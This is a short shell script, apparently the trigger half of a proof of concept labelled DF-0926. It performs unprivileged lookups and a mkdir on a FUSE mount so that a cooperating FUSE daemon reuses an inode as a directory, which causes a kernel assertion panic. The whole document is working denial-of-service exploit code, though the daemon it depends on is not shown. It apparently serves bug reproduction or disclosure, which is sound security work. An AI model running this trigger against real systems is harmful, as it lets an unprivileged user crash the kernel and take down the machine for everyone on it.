DF-0926 / trigger.sh
#!/bin/sh # trigger.sh — perform the unprivileged lookups/mkdir that trigger DF-0926. # Assumes fusedev has already mounted on /mnt/fuse. set +e echo "[trigger] as user: $(id -un) (uid=$(id -u))" echo "[trigger] looking up /mnt/fuse/baitfile (creates VREG node ino=100)" ls /mnt/fuse/baitfile 2>&1 echo "[trigger] mkdir /mnt/fuse/crashdir (daemon reuses ino=100 as VDIR -> KKASSERT panic)" mkdir /mnt/fuse/crashdir 2>&1 echo "[trigger] mkdir rc=$?" echo "[trigger] if you read this, the kernel did not panic" |